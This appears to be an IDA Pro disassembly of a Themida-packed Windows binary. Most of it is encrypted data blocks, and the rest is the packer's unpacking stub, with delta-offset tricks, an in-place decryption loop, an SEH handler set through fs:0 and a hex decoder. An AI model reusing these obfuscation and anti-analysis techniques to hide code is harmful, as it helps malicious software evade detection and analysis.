		dd 400h, 2 dup(0)
		dd 10000h, 6 dup(0)
		dd 74EDDC00h, 0FAh, 0FD4EF300h,	95h, 10h dup(0)
		dd 531FA500h, 0
		dd 0E793EF00h, 0E1005077h, 0FDh, 30DF00h, 0
		dd 0C4323000h, 0B0h, 0
		dd 28A52D00h, 88h, 4 dup(0)
		dd 5A000000h, 102h, 2 dup(0)
		dd 5307B900h, 0
		dd 5691E100h, 2	dup(0)
		dd 5BFFBA00h, 562570FFh, 5 dup(0)
		dd 6C006C00h, 2	dup(0)
		dd 0A28D5300h, 5 dup(0)
		dd 15CE900h, 4 dup(0)
		dd 593ABA00h, 3	dup(0)
		dd 43472400h, 0FDh, 569E4900h, 65685400h, 6164696Dh, 1Eh dup(0)
		dd 9EA00F00h, 2	dup(0)
		dd 53002300h, 4	dup(0)
		dd 995F8200h, 0E9h, 4 dup(0)
		dd 5D79FF00h, 64h, 0FFFF4800h, 0FFh, 8 dup(0)
		dd 5821DD00h, 0E8061800h, 615FF177h, 0FFh, 3 dup(0)
		dd 0E7A5FD00h, 58032D77h, 4 dup(0)
		dd 59863700h, 0AC00h, 0
		dd 122D0400h, 91h, 4 dup(0)
		dd 9D0FE600h, 0AEA1FE00h, 2 dup(0)
		dd 12FF5400h, 2	dup(0)
		dd 0B404A200h, 16h, 3 dup(0)
		dd 9F156800h, 0
		dd 0DD5ECC00h, 77h, 5 dup(0)
		dd 0FE030400h, 7Fh, 3 dup(0)
		dd 0C1005000h, 0FEh, 0
		dd 0FFA61C00h, 0FFh, 6DEC00h, 58217F00h, 2 dup(0)
		dd 20EE900h, 9EA03700h,	3 dup(0)
		dd 56258A00h, 2	dup(0)
		dd 0A800h, 0
		dd 6CF200h, 2 dup(0)
		dd 9D000000h, 5	dup(0)
		dd 0A97D6E00h, 57DF23FFh, 3 dup(0)
		dd 0D01CB200h, 0D2h, 2 dup(0)
		dd 56FB0000h, 0E78B8200h, 77h, 3 dup(0)
		dd 7000h, 2 dup(0)
		dd 567BDA00h, 0
		dd 9E09F700h, 68030400h, 5Ah, 4	dup(0)
		dd 7800h, 2 dup(0)
		dd 0E6D70600h, 77h, 0FFF11700h,	0FFh, 5858FC00h, 11h dup(0)
		dd 57103900h, 2	dup(0)
		dd 0B21DEF00h, 78h, 0BB1B4600h,	7Ah, 0
		dd 9E69DD00h, 0
		dd 58DB0C00h, 0
		dd 0FE50CC00h, 0FFh, 0
		dd 5A349000h, 1005400h,	0
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start

loc_53219D:				; CODE XREF: start:loc_52EDDCj
		mov	eax, ebp
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 61E33CBh
		mov	[ebp+61E029Dh],	edx
		mov	[ebp+61E0EB5h],	esi
		mov	[ebp+61E013Dh],	eax
		cmp	dword ptr [ebp+61E0055h], 0
		jz	short loc_5321D5
		mov	ebp, eax
		mov	esp, edx
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------

loc_5321D5:				; CODE XREF: start+5F1B3j
		mov	eax, [esp+40h+var_1C]
		mov	[ebp+61E0851h],	eax
		push	45h
		call	sub_532289
		push	783749Ah
		call	sub_5322CF
		push	0A894B25h
		call	sub_5322CF
		jmp	loc_532413
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 45h
		dd 49484746h, 4D4C4B4Ah, 51504F4Eh, 55545352h, 59585756h
		dd 5D5C5B5Ah, 61605F5Eh, 65646362h, 69686766h, 6D6C6B6Ah
		dd 71706F6Eh, 75747372h, 79787776h, 7D7C7B7Ah, 81807F7Eh
		dd 85848382h, 89888786h, 8D8C8B8Ah, 91908F8Eh, 95949392h
		dd 99989796h, 9D9C9B9Ah, 0A1A09F9Eh, 0A5A4A3A2h, 0A9A8A7A6h
		dd 0ADACABAAh, 0B1B0AFAEh, 0B5B4B3B2h, 0B9B8B7B6h, 0BDBCBBBAh
		dd 0C1C0BFBEh, 0C3C2h, 2 dup(0)
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_532289	proc near		; CODE XREF: start+5F1CDp

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pusha
		call	$+5
		pop	edx
		sub	edx, 61E34B9h
		mov	ebx, edx
		mov	[ebp+var_28], 0

loc_5322A5:				; CODE XREF: sub_532289+39j
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 80h
		jz	short loc_5322C4
		mov	eax, [ebp+arg_0]
		mov	[ebx+61E3423h],	eax
		inc	[ebp+arg_0]
		inc	ebx
		jmp	short loc_5322A5
; ---------------------------------------------------------------------------

loc_5322C4:				; CODE XREF: sub_532289+2Aj
		mov	[ebp+var_24], eax
		popa
		mov	eax, [ebp+var_24]
		leave
		retn	4
sub_532289	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_5322CF	proc near		; CODE XREF: start+5F1D7p start+5F1E1p

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF7Ch
		pusha
		call	$+5
		pop	edx
		sub	edx, 61E3502h
		lea	eax, [ebp+var_80]
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_84], 0

loc_5322F5:				; CODE XREF: sub_5322CF+41j
		mov	ecx, [ebp+var_84]
		rol	ebx, 1
		mov	[eax], bl
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	[ebp+var_84], 80h
		jnz	short loc_5322F5
		mov	[ebp+var_84], 0
		lea	edi, [edx+61E3423h]
		lea	esi, [ebp+var_80]

loc_532325:				; CODE XREF: sub_5322CF+83j
		mov	cl, [esi]
		mov	ebx, 1F4h
		mov	eax, 785437ABh

loc_532331:				; CODE XREF: sub_5322CF+69j
		rcl	eax, cl
		mov	cl, [edi]
		rcl	eax, cl
		dec	ebx
		jnz	short loc_532331
		imul	eax, ebx
		inc	edi
		inc	esi
		mov	ecx, [ebp+var_84]
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	ecx, 80h
		jnz	short loc_532325
		popa
		leave
		retn	4
sub_5322CF	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		mov	esi, [ebp+8]
		mov	dword ptr [ebp-4], 0
		jmp	short loc_53236F
; ---------------------------------------------------------------------------

loc_53236B:				; CODE XREF: Themida_:00532372j
		inc	dword ptr [ebp-4]
		inc	esi

loc_53236F:				; CODE XREF: Themida_:00532369j
		cmp	byte ptr [esi],	0
		jnz	short loc_53236B
		mov	edx, 0
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		jmp	short loc_532400
; ---------------------------------------------------------------------------

loc_532381:				; CODE XREF: Themida_:00532403j
		mov	dword ptr [ebp-8], 0
		jmp	short loc_5323F7
; ---------------------------------------------------------------------------

loc_53238A:				; CODE XREF: Themida_:005323FBj
		mov	dword ptr [ebp-10h], 0
		mov	dword ptr [ebp-0Ch], 0
		jmp	short loc_5323E4
; ---------------------------------------------------------------------------

loc_53239A:				; CODE XREF: Themida_:005323E8j
		shl	dword ptr [ebp-10h], 4
		mov	eax, [ebp-8]
		shl	eax, 1
		add	eax, edx
		add	eax, [ebp-0Ch]
		xor	ebx, ebx
		mov	bl, [eax+esi]
		cmp	bl, 30h
		jb	short loc_5323BC
		cmp	bl, 39h
		ja	short loc_5323BC
		sub	bl, 30h
		jmp	short loc_5323DE
; ---------------------------------------------------------------------------

loc_5323BC:				; CODE XREF: Themida_:005323B0j
					; Themida_:005323B5j
		cmp	bl, 61h
		jb	short loc_5323CE
		cmp	bl, 66h
		ja	short loc_5323CE
		sub	bl, 61h
		add	bl, 0Ah
		jmp	short loc_5323DE
; ---------------------------------------------------------------------------

loc_5323CE:				; CODE XREF: Themida_:005323BFj
					; Themida_:005323C4j
		cmp	bl, 41h
		jb	short loc_5323DE
		cmp	bl, 46h
		ja	short loc_5323DE
		sub	bl, 41h
		add	bl, 0Ah

loc_5323DE:				; CODE XREF: Themida_:005323BAj
					; Themida_:005323CCj ...
		add	[ebp-10h], ebx
		inc	dword ptr [ebp-0Ch]

loc_5323E4:				; CODE XREF: Themida_:00532398j
		cmp	dword ptr [ebp-0Ch], 2
		jb	short loc_53239A
		cmp	dword ptr [ebp-10h], 0
		jbe	short loc_5323F4
		mov	eax, [ebp-10h]
		stosb

loc_5323F4:				; CODE XREF: Themida_:005323EEj
		inc	dword ptr [ebp-8]

loc_5323F7:				; CODE XREF: Themida_:00532388j
		cmp	dword ptr [ebp-8], 2
		jb	short loc_53238A
		add	edx, 4

loc_532400:				; CODE XREF: Themida_:0053237Fj
		cmp	edx, [ebp-4]
		jb	loc_532381
		mov	al, 0
		stosb
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start

loc_532413:				; CODE XREF: start+5F1E6j
		mov	ecx, 7000h
		lea	edi, [ebp+61E3648h]

loc_53241E:				; CODE XREF: start+5F40Ej
		dec	byte ptr [edi]
		inc	edi
		dec	ecx
		jnz	short loc_53241E
		mov	eax, 48692121h
		mov	edx, 0F00D3000h
		sub	edx, 0F0000000h
		lea	eax, [ebp+61E378Fh]
		push	eax
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	$+5
		pop	eax
		push	0
		push	esi
		call	sub_53245A
		and	[esi-3Dh], bl
; END OF FUNCTION CHUNK	FOR start

; =============== S U B	R O U T	I N E =======================================



sub_53245A	proc near		; CODE XREF: start+5F43Ep

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Dh
		inc	esi
		push	esi
		retn
sub_53245A	endp

; ---------------------------------------------------------------------------
		dw 0B4BEh
		dd 158895D7h, 2B6FF232h, 0B0D38166h, 8A96B316h,	0BBC22BDAh
		dd 504194CAh, 19939BBh,	0F000251Dh, 6AFFFFh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 41F204C3h
		dd 1D343D5Dh, 0E84D4099h, 11h, 52488483h, 0A8ABB0DBh, 7082C006h
		dd 2F14FCC1h, 0E860F84h, 0E9000000h, 9,	0BD0A79A3h, 5A3C799Dh
		dd 0CA8B5B03h, 8166FF33h, 755A4D38h, 50B70F0Eh,	81D0033Ch
		dd 45503Ah, 2D087400h, 1000h, 64E3EB47h, 58Fh, 0C4830000h
		dd 0A2958D04h, 52061E37h, 35FF64h, 64000000h, 2589h, 0C1030000h
		dd 10002Dh, 4708B00h, 0E681h, 0FE81FFFFh, 80000000h, 708B0376h
		dd 83C0331Ch, 1F7432F8h, 4D3E8166h, 8109745Ah, 10000EEh
		dd 0EBEB4000h, 33C7E8Bh, 503F81FEh, 74000045h, 64E8EB44h
		dd 58Fh, 0C4830000h, 51C36104h,	10244C8Bh, 0B0A981h, 10000000h
		dd 33590000h, 8B51C3C0h, 5510244Ch, 0E8h, 0ED815D00h, 61E37ADh
		dd 376B858Dh, 8189061Eh, 0B8h, 0C033595Dh, 8F6496C3h, 5
		dd 4C48300h, 66D9BF0Fh,	5CAE381h, 66DABF0Fh, 28B3D98Ch
		dd 6604E180h, 0AB8B2BBh, 21850FC9h, 0E9000000h,	9, 0A2FAE0A2h
		dd 7D1A4A6h, 2D85C77Bh,	1061E27h, 0F000000h, 0FE9DABFh
		dd 0F8000000h, 272D85C7h, 61Eh,	0BB660000h, 8589D288h
		dd 61E02F1h, 9C0DB81h, 85890D44h, 61E3291h, 11E8h, 0F70FD100h
		dd 0C8E297BAh, 0E5ADA083h, 62EBCBB5h, 815ADF85h, 7510C2h
		dd 0C213BE00h, 0FF2B7CDEh, 138F0Fh, 0EE90000h, 2A000000h
		dd 72FCF771h, 0BBEB421Ah, 528FEF3Fh, 3A048BA8h,	38B9A1BBh
		dd 66F08155h, 8147E07Ch, 9B5FF4C0h, 36C0814Eh, 66680AA3h
		dd 489C88Bh, 9BFAB93Ah,	0EF812B08h, 6B235FEEh, 93DB8166h
		dd 0EAC781D8h, 806B235Fh, 0FF81CED7h, 0FFFF8B88h, 0FFBB850Fh
		dd 0DE8FFFFh, 5000000h,	221411BCh, 0A33EB3E1h, 1D36808Bh
		dd 6810Fh, 830F0000h, 0
aSp		db '^Иp',7,0
		align 2
		dw 0BD31h
		dd 61E214Dh, 217h, 1, 0E90000F8h, 0Eh, 1A097F96h, 0D7772937h
		dd 1EAFD77Eh, 0F5608394h, 8529C02Bh, 61E1DF5h, 2824548Bh
		dd 3618D09h, 8589061Eh,	61E0065h, 2E15B531h, 3CBE061Eh
		dd 89000000h, 1E2005BDh, 24740306h, 9D9D2924h, 66061E29h
		dd 6E9ADh, 3C800000h, 526C7F93h, 24244403h, 2FD9BD29h
		dd 6050061Eh, 108F0Fh, 0BE90000h, 67000000h, 0D6868890h
		dd 96FFE6D6h, 8961E0E5h, 11E92404h, 0D3000000h,	22A29EF7h
		dd 6D55822Fh, 0E40734AFh, 0B6FFC6BBh, 0BE860h, 0D1FB0000h
		dd 0C3C2342Ch, 835C3CFBh, 6E994h, 0C5C50000h, 0A63C8501h
		dd 61DF8B5Bh, 6078408Bh, 0C36EC981h, 89612386h,	1E157D9Dh
		dd 24440306h, 55852928h, 8B061E02h, 85891840h, 61E19C1h
		dd 7880F40h, 0F000000h,	18Fh, 8589F800h, 61E38DCh, 2D7D8D29h
		dd 8958061Eh, 1E292995h, 78708B06h, 17418589h, 0C683061Eh
		dd 0C99D011Ch, 3061E1Fh, 60242474h, 13E8h, 0A9720500h
		dd 18E57E75h, 9FC79878h, 7DFFD3E4h, 2805707h, 2BD9D29h
		dd 0E85F061Eh, 0Ch, 94E74335h, 0BFC8EEFAh, 96E06E60h, 5199531h
		dd 615A061Eh, 98DBD8Dh,	0BD29061Eh, 61E1451h, 18ED8D31h
		dd 60AD061Eh, 0D79AC081h, 0BD890189h, 61E024Dh,	4403F861h
		dd 0B1602424h, 818509D3h, 61061E2Eh, 7E960h, 0F1980000h
		dd 29DA1DA7h, 199D331Ch, 61061E1Fh, 81B589ABh, 8D061E00h
		dd 1E2BA1BDh, 998D8906h, 0AD061E33h, 10E9FCh, 0EB0B0000h
		dd 0CF511E22h, 8854BE3Dh, 83E6A2BAh, 44033BA6h,	90F52424h
		dd 9E9h, 0EFEA2100h, 7F3A15C0h,	505066CDh, 68A0F52h, 50000000h
		dd 5A310F52h, 60310F58h, 12E9h,	8DD28400h, 38D2D02h, 0D62682E6h
		dd 91082AB6h, 50C6DE9Ah, 585A6159h, 0FABF990h, 0C84h, 6850F00h
		dd 89000000h, 1E231D85h, 5BD8D06h, 0E9061E1Dh, 0Ch, 35504231h
		dd 0B8BE3986h, 0B92D3A9h, 2EDB589h, 29AD061Eh, 1E064D8Dh
		dd 24440306h, 259D0128h, 0AB061E17h, 88A0Fh, 850F0000h
		dd 2, 0E95E6160h, 6, 2C64BC22h,	8DFFB859h, 61E38DCh, 38DCBD83h
		dd 7500061Eh, 2444C710h, 1Ch, 0DBB58D00h, 0FF061E3Dh, 3AD56E6h
		dd 97282444h, 858ADF8Bh, 61E2041h, 474C084h, 4C75073Ah
		dd 0AEC03257h, 2B5EFD75h, 33FC52FBh, 0D18B49C9h, 0DB33C033h
		dd 8AC132ACh, 8AEA8ACDh, 6608B6D6h, 0D166EBD1h,	660973D8h
		dd 66504135h, 5449F381h, 0EB75CEFEh, 0D333C833h, 0F7D5754Fh
		dd 8BD1F7D2h, 10C0C1C2h, 5AC18B66h, 0F74D03Bh, 4C6835Eh
		dd 6585FFh, 6FE9061Eh, 5EFFFFFFh, 203D8589h, 0B529061Eh
		dd 61E17EDh, 65858Bh, 9509061Eh, 61E196Dh, 6660E0D1h, 801EB2BBh
		dd 961CBE3h, 1E0859B5h,	5850306h, 0F061E1Dh, 68Ch, 0A1BD2900h
		dd 2B061E16h, 0EE9F6h, 330000h,	54CB00FFh, 29002D47h, 892021FAh
		dd 0AD66F996h, 8E9h, 0C9EB4800h, 0EFCFB3A0h, 2E0C11Fh
		dd 5880F60h, 0BE000000h, 19D15908h, 8D850361h, 1061E09h
		dd 1E1A519Dh, 59B50906h, 96061E13h, 8658D89h, 60AD061Eh
		dd 4F57BB66h, 80CDE881h, 8B61571Fh, 8924244Ch, 1E0A1D8Dh
		dd 24440306h, 2CB46024h, 79D9D8Bh, 8961061Eh, 0F1C2444h
		dd 0E8Bh, 9D896000h, 61E22A9h, 7D19D89h, 9661061Eh, 5E9h
		dd 0ABC02500h, 0FCACC098h, 1C3D8D89h, 0C932061Eh, 26C98589h
		dd 0C1FE061Eh, 13798D89h, 0D0D0061Eh, 11D830Fh,	8D890000h
		dd 61E1C15h, 830FD0D0h,	10Fh, 19800FF9h, 60000000h, 0DE9h
		dd 1D16C500h, 0FDE14433h, 33DD645Bh, 69BF7884h,	6109BC1Fh
		dd 820FD0D0h, 0E7h, 0BE9h, 0E10FEB00h, 5E8F856h, 0F38263Ch
		dd 0FD0D0F5h, 0CE82h, 8B666000h, 14E853C1h, 3C000000h
		dd 88406E00h, 0FEAC156h, 95ED08F6h, 0DA74DBD6h,	59B6057Ah
		dd 9D896158h, 61E0E99h,	890FC9FEh, 0FFFFFF7Ah, 18F0F60h
		dd 0F9000000h, 28D0Fh, 58530000h, 20C48361h, 0E820Fh, 9E90000h
		dd 67000000h, 0BA6760CEh, 1D5FA5E7h, 0FC2444C7h, 0
		dd 0FE9h, 2C0F8000h, 4B79C2DAh,	86A6648Eh, 3C862D4h, 188C0Fh
		dd 13E90000h, 0BC000000h, 8ECC4560h, 6E4890A7h,	3D968738h
		dd 0FDCBA7FFh, 1B8220Dh, 9000000h, 1E25ED85h, 0AB8D8D06h
		dd 60061E71h, 2A49BD8Bh, 61F9061Eh, 5E9h, 111FF100h, 0E1FF5FB5h
		dd 0B8B0Fh, 0F600000h, 810FCEB7h, 0
		dd 79858961h, 0C6061E08h, 1E204185h, 61F90006h,	318D89h
		dd 8C2061Eh, 8D236000h,	61E2749h, 5050F961h, 0EE86052h
		dd 0E5000000h, 0F598E6A9h, 1A17C968h, 0BFE8F2F5h, 8B665EC0h
		dd 310F61CEh, 810F5250h, 0
		dd 8C0F310Fh, 0
		dd 585A585Ah, 9243489h,	1E0DF585h, 0CE906h, 3B490000h
		dd 5EF2DBC4h, 6D0CFD98h, 0B589A3C0h, 61E4015h, 65DAB960h
		dd 13E95F5Ah, 0D3000000h, 43D60DE9h, 291F79FEh,	1426F0AFh
		dd 0FD63FF19h, 31610FD5h, 1E050D95h, 328D8906h,	60061E40h
		dd 13E8C18Bh, 80000000h, 0AD67D933h, 0A0A62612h, 9A9C0CB6h
		dd 281875FBh, 0DE93D7Bh, 9F000000h, 3D48550Fh, 20241831h
		dd 75AEB672h, 0B58D6158h, 61E3ED5h, 319D29h, 858D061Eh
		dd 5B7E35h, 1409BD89h, 0D0FF061Eh, 5E9h, 0C894700h, 605ED859h
		dd 14D5958Bh, 0B70F061Eh, 0F5C361CAh, 15B58BFCh, 0E9061E40h
		dd 6, 7AEAEA7Ah, 8D8BEAB5h, 61E4032h, 0F298D09h, 8589061Eh
		dd 61E2F6Dh, 8960C02Bh,	1E089985h, 13E906h, 0DED60000h
		dd 0D893476Ah, 0CE838EB0h, 925579A4h, 5209A7EDh, 0D98B61D2h
		dd 2B9DB531h, 0CDE9061Eh, 0E9000000h, 8, 0C2A27EA8h, 0D17EC9F1h
		dd 36B15260h, 9BD8958h,	61061E1Fh, 0BD012632h, 61E0CC1h
		dd 830F02B2h, 1, 5BE9F8h, 32F90000h, 8B6660C2h,	0D38166CEh
		dd 56122A5h, 8A751D7Ah,	11E9h, 7BF80F00h, 2377456Dh, 8A8D6ADCh
		dd 0CC8F8998h, 0CC8A9058h, 0E298D89h, 0B509061Eh, 61E3115h
		dd 880FC8D3h, 0Ch, 6840Fh, 8E0F0000h, 0
		dd 0D1084235h, 29B58998h, 0FE061E04h, 0D18B60CAh, 0FD20A61h
		dd 0FFFF9E85h, 314BF5FFh, 1E223195h, 8D896006h,	61E020Dh
		dd 7E8h, 0E0598400h, 0B185F4CBh, 3E9B58Bh, 615F061Eh, 12E946h
		dd 98130000h, 4353E798h, 0BBE1DA65h, 0FDF02C2Dh, 0FEF42E14h
		dd 850FDB0Bh, 0FFFFFF44h, 0C820Fh, 1600000h, 1E1C11BDh
		dd 0BEB96606h, 29CF619Dh, 1E31D9B5h, 0F000006h,	683h, 519D2900h
		dd 61E32h, 8E900h, 0D68F0000h, 16FAEC5Dh, 0C1A4h, 2CC5B501h
		dd 61Eh, 5E9h, 495EC500h, 858DDFACh, 61E38FAh, 51858960h
		dd 61061E15h, 1B3D8589h, 8C0F061Eh, 1, 0F6858DFCh, 89061E3Dh
		dd 1E0819BDh, 958B6006h, 61E2045h, 61DAB70Fh, 17D18589h
		dd 0FE8061Eh, 0FD000000h, 64D10306h, 0A91906E3h, 0F3DDA422h
		dd 0BD8B90B3h, 61E0D41h, 0D958958h, 81061E02h, 5A9DC0h
		dd 6DB58900h, 68061E23h, 0
		dd 1B5DB589h, 0E85E061Eh, 13h, 3A1929D1h, 0F7E94D6Bh, 9DC6F964h
		dd 3A88D474h, 8B5D5B74h, 1E1925BDh, 148B5F06h, 57B36030h
		dd 614BBA66h, 40EA8161h, 36130D7h, 1E05099Dh, 14C28106h
		dd 8B32F8EDh, 1E2C0DBDh, 3C28106h, 0B97FF7F6h, 20D75516h
		dd 0BB301489h, 6C7F4866h, 5E953h, 0B1AA0000h, 5F7EEED8h
		dd 0A4FAEE81h, 0C6814A69h, 4A69A4F6h, 0FE9h, 0B0AA3900h
		dd 67908CC0h, 6AC05EAAh, 6FA101C9h, 0A638FE81h,	850FFFFFh
		dd 0FFFFFF92h, 0CE8h, 0AEF52E00h, 16C0DA3Ah, 2FFC0262h
		dd 29EF81BCh, 59491C81h, 14EBh,	3 dup(0)
		dd 880000h, 858D0000h, 61E4221h, 42D8589h, 0BD83061Eh
		dd 61E416Ah, 2C840F00h,	0C6000001h, 1E204185h, 0A6685606h
		dd 817334DFh, 8D932404h, 0B5FF60EAh, 61E02F1h, 38FA858Dh
		dd 0D0FF061Eh, 415E8589h, 85C6061Eh, 61E2041h, 49226856h
		dd 34818298h, 30F17024h, 0F1B5FF1Eh, 8D061E02h,	1E38FA85h
		dd 89D0FF06h, 1E416285h, 68046A06h, 6C31B92h, 92243481h
		dd 8B06C30Bh, 1E416E85h, 1F40506h, 0E0C10000h, 4895002h
		dd 0FF006A24h, 1E416295h, 66858906h, 8B061E41h,	0FFFFB8D8h
		dd 95FFFFFFh, 61E042Dh,	95FFC38Bh, 61E042Dh, 96E9h, 6ABD8300h
		dd 61E41h, 1850Fh, 57C30000h, 4166BD8Bh, 83AB061Eh, 1E416685h
		dd 0C35F0406h, 416ABD83h, 0F00061Eh, 185h, 8360C300h, 1E4166ADh
		dd 9D8B0406h, 61E4166h,	0FFFC7B83h, 26850Fh, 4E80000h
		dd 0
		dd 50000080h, 424448Bh,	4489008Bh, 6A580424h, 0FF33FF00h
		dd 1E415E95h, 0E9C36106h, 26h, 4E8h, 800000h, 448B5000h
		dd 8B0424h, 4244489h, 0FF006A58h, 5E95FF33h, 83061E41h
		dd 1E4166ADh, 9FE90406h, 48FFFFFFh, 9D3E9h, 6DDB0700h
		dd 21CB36C2h, 78FB2CDh,	94AFF51Ah, 0ABF95B53h, 0B3DF5389h
		dd 2D7F591Bh, 0BECF36F4h, 6DFD5A01h, 2D893DCFh,	5598A0C5h
		dd 93BDE449h, 0C4B25416h, 0B9D523EAh, 217E440Fh, 0BCCF36A6h
		dd 6DFE5507h, 328927CFh, 5587BAD8h, 88A3F857h, 0AFBC4001h
		dd 0AE991789h, 6C6F440Bh, 0A98137F4h, 6DE84107h, 33C621D6h
		dd 5B87B4D8h, 63h dup(0)
		dd 6DDB0700h, 3DC73CCBh, 5598BADEh, 80A1EF4Ah, 0EEF15801h
		dd 0FCCA128Fh, 637E520Ch, 0A5CE25A6h, 3FBA5006h, 3DC73DD3h
		dd 1CCAB2C4h, 88B7BD54h, 0BDBC4B06h, 0B9CD009Eh, 111903h
		dd 0B1C42FD6h, 6DB6511Bh, 3BC53DD3h, 1CCAB1CBh,	95A8BD4Eh
		dd 0A3BC541Ch, 0AED61E82h, 637A1717h, 0B5D363E2h, 3FFB401Bh
		dd 3BD073D2h, 5CAA7DFh,	95A9F248h, 0B25412h, 48h dup(0)
		dd 6DDB0700h, 37C821C5h, 5298B0C1h, 88BABD49h, 0A6BC551Ch
		dd 0BE990086h, 2D75520Bh, 0BED42CE0h, 38E8140Ch, 3AC03DC8h
		dd 1B83F5CDh, 92A1E41Ah, 0B7EF1901h, 0B1DC0794h, 5D163D40h
		dd 0A3C026EAh, 38BA180Dh, 35C63FC8h, 183F5CEh, 88BCFB1Ah
		dd 0ABF1191Eh, 0A5CB1C8Ah, 6975564Eh, 0A3C431A6h, 39E8551Ch
		dd 21C62A86h, 79AF5D8h,	86BCFA55h, 171Eh, 61h dup(0)
		dd 24DC0700h, 378936CAh, 98A7C5h, 83ABE94Ah, 9ABC1752h
		dd 0FCCA1A8Fh, 6A74451Eh, 0F0CC22F4h, 6DE95500h, 3ACC36C4h
		dd 1B8BB88Ah, 8BBBED53h, 0AAF94D12h, 0B8D712C7h, 747A5A4Eh
		dd 0DDAB26E4h, 3EBD4001h, 32C73A86h, 109EB6CFh,	9EACBD5Eh
		dd 98BC5853h, 0AFCC018Eh, 2D69584Eh, 0B3C031E5h, 63FE5103h
		dd 3DC10786h, 1C8CF5D9h, 90EEF856h, 0BABB571Ch,	0AED604C7h
		dd 637A1705h, 0A2CE2EFFh, 1A0Dh, 0E0h dup(0)
		dd 4E4C5700h, 4C446D75h, 7250734Ch, 3000746Fh, 8 dup(0)
		dd 45000000h, 20746978h, 74617453h, 3D207375h, 642520h
		dd 2 dup(0)
		dd 2E6CE9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1904h, 0C3514100h, 0C0C9CB43h, 0D38B896Fh, 0A59D8BFCh
		dd 8B061E2Dh, 835A52C0h, 1E1D79BDh, 9750006h, 2B25BD83h
		dd 7400061Eh, 8B535013h, 1B8C0h, 9D8D0000h, 620AADCh, 585BD3FFh
		dd 2B25BD83h, 7400061Eh, 0B8535011h, 1,	0A98D9D8Dh, 0D3FF0620h
		dd 6A585Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
		dd 53430000h, 0F60D3C3h, 58Bh, 0C6816600h, 0E381A024h
		dd 443DAEFh, 15958B61h,	8B061E20h, 56006AC0h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 7B1918ECh
		dd 0B5DEBB9Ch, 2A89BD89h, 14E8061Eh, 0E1000000h, 0F8092D86h
		dd 0B347CAA5h, 0BEB36144h, 0E09FA3F2h, 89A64BD1h, 1E315195h
		dd 12E95B06h, 0AE000000h, 5D2B79E2h, 0DA1E3DEFh, 0A27FA9ECh
		dd 3862A4F9h, 95BD838Bh, 61E19h, 1A6840Fh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 6893D7C3h, 0BD016147h, 61E3021h, 29959D23h, 0BD83061Eh
		dd 61E1F25h, 6D840F00h,	0F000001h, 5260D6BFh, 5AD5D280h
		dd 1F25858Bh, 0EB81061Eh, 12B1A633h, 3E805h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 66FCCD59h, 90E54BBBh, 17EC26BBh, 5250500Fh, 0EE8h, 44A6C200h
		dd 9DB09DAAh, 4FD2DECEh, 0E987CD06h, 0Fh, 6E3A9AB5h, 0A3DFED5Ah
		dd 0A666FD3Ah, 5B3D8F60h, 9B2310Fh, 3390585Ah, 1E0DF195h
		dd 77858D06h, 89061E4Ch, 1E0DD585h, 11E906h, 5330000h
		dd 0DC6F6D15h, 3B10F976h, 0B8943DFDh, 502489AFh, 89DF8B66h
		dd 9D8B2404h, 61E0089h,	4C55858Dh, 0CE9061Eh, 40000000h
		dd 37539BFBh, 4023FB68h, 501285F7h, 4810Fh, 8B560000h
		dd 4895BD9h, 22B75624h,	0E99D0B5Ah, 0FF061E20h,	1E2BB995h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1B04h
		dd 0C3554500h, 50EF84Ch, 315C2AC2h, 0E558589h, 0C483061Eh
		dd 0EB81660Ch, 858D03CCh, 61E4C55h, 411484BBh, 2EB25074h
		dd 0B7240489h, 6A026A33h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 1376C356h, 23A279CBh
		dd 0E8F55E99h, 0Fh, 0A3374469h,	0F87342D2h, 0CE6FEF9Fh
		dd 8BA81B18h, 1E02AD95h, 95FF5A06h, 688574h, 61B4F780h
		dd 4C8885C7h, 1061Eh, 0B5890000h, 61E04C9h, 0D68B6096h
		dd 0D78B5061h, 0AE896h,	62D0000h, 0BC65D5B3h, 6564A3F1h
		dd 0CFB70F60h, 13C59D29h, 5B61061Eh, 4C39B589h,	6A061Eh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 0C7BC73C3h, 0BD09EF73h, 61E1BA5h, 2DBD83FCh,	1061E27h
		dd 55850Fh, 0B5310000h,	61E1695h, 0F05F883h, 4685h, 85952900h
		dd 0B8061E01h, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 7C35646h
